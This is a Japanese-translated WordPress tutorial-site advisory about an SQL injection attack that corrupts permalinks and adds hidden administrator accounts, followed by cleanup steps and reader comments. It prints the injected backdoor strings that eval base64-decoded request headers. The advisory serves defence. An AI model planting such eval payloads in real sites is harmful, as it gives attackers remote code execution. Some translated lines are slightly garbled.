Trusted WordPress tutorials, when you need them most.
Beginner’s Guide to WordPress
WPBカップ
25 Million+
Websites using our plugins
16+
Years of WordPress experience
3000+
WordPress tutorials
by experts

WordPressのSQLインジェクション – 最新の攻撃

編集メモ: WPBeginner のパートナーリンクから手数料を得ています。手数料は編集者の意見や評価に影響を与えません。編集プロセスについて詳しく知る。

最近、多くのサイトがSQL攻撃を受けており、サイトにコードが注入されている。このMySQLインジェクションはパーマリンクに影響を及ぼし、パーマリンクが効かなくなります。その結果、ブログ投稿のURLは機能しなくなります。この攻撃では多数のWordPressブログが標的にされており、この件を知らせてくれたAndy Soward氏に感謝する。

この攻撃によりパーマリンク構造に追加されたコードは以下のいずれかです:

%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%

“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%

これらの引用符は、サイト上のすべてのパーマリンクに付加され、手動で削除した場合のみ変更できます。

これを修正するには

設定 > パーマリンク]にアクセスし、上記のコードを削除して初期設定に置き換えてください。

次に行う必要があるのは、「ユーザー」です。複数の管理者がいることがわかります。名前は表示されませんが、数が増えているのがわかります。そこで必要なことは、すべてのユーザーを見て、最後に登録したユーザーを見つけることです。そのユーザーの上にマウスを置いて、リンクを取得してください。userid=のコードに1を足して変更してください。つまり、あなたが見ることができる最後のユーザーがユーザー#2だった場合、それに1を加えて3にしてください。非表示の管理者のファーストネームが変なコードになっているはずです。そのコードを削除して、彼を購読者にしてください。その後、戻って彼を削除してください。

これで問題が解決するはずです。PHPMyAdminにアクセスするだけでも削除できます。そこにユーザーが表示されます。

私たちはこのニュースをできるだけ早く伝え、ユーザーに更新してもらいたかっただけです。本当に〜してもよいですか?WordPressがすぐにリリースを出すことを願っています。

また、WordPressの管理エリアの安全性を確保するために、これらの対策をまだ実施していない場合は、こちらをご覧ください。

情報開示 私たちのコンテンツは読者支援型です。これは、あなたが私たちのリンクの一部をクリックした場合、私たちはコミッションを得ることができることを意味します。 WPBeginnerの資金源 をご覧ください。3$編集プロセスをご覧ください。

Avatar

Editorial Staff at WPBeginner is a team of WordPress experts led by Syed Balkhi with over 16 years of experience in WordPress, Web Hosting, eCommerce, SEO, and Marketing. Started in 2009, WPBeginner is now the largest free WordPress resource site in the industry and is often referred to as the Wikipedia for WordPress.

究極のWordPressツールキット

ツールキットへの無料アクセス - すべてのプロフェッショナルが持つべきWordPress関連製品とリソースのコレクション!

Reader Interactions

9件のコメント返信を残す

  1. Syed Balkhi says

    Hey WPBeginner readers,
    Did you know you can win exciting prizes by commenting on WPBeginner?
    Every month, our top blog commenters will win HUGE rewards, including premium WordPress plugin licenses and cash prizes.
    You can get more details about the contest from here.
    Start sharing your thoughts below to stand a chance to win!

  2. ahmed_alaaedin says

    The database of my website has been injected few days ago, adding some strange characters and words after each post or page URL. I couldn’t find anything strange in the settings: permalinks or in the users menu. What to do to fix this problem, please? My hosting company has a backup of the infected database as well!

  3. a wordpress user says

    i was hit by this twice.

    first time it was wassup plugin sql injection, this time im not sure. my hosting provider has blocked me.

    once they restore my a/c i will remove wordpres.. I have had it!

    • Editorial Staff says

      We really appreciate this comment, the issue was not with the WP Super Cache, we believe it was the plugin called WP External Link. We uninstalled and reinstalled WP-Super Cache twice, but then we compared the development server where everything worked fine. The difference was this plugin. When we removed that plugin it worked. You may now read that post.

      管理者

      • lerrkin says

        Maybe that was WP External Link and Super Cache conflict…
        I see my pasted WP-Super-Cache html comment above works as html comment and is invisible :) Text was “Page not cached by WP Super Cache. No closing HTML tag. Check your theme”.
        So last Super Cache ver. promises to do not html validity check.

        Oh, I’m reading!
        Thanks a lot!

返信を残す

コメントありがとうございます。すべてのコメントは私たちのコメントポリシーに従ってモデレートされ、あなたのメールアドレスが公開されることはありませんのでご留意ください。名前欄にキーワードを使用しないでください。個人的で有意義な会話をしましょう。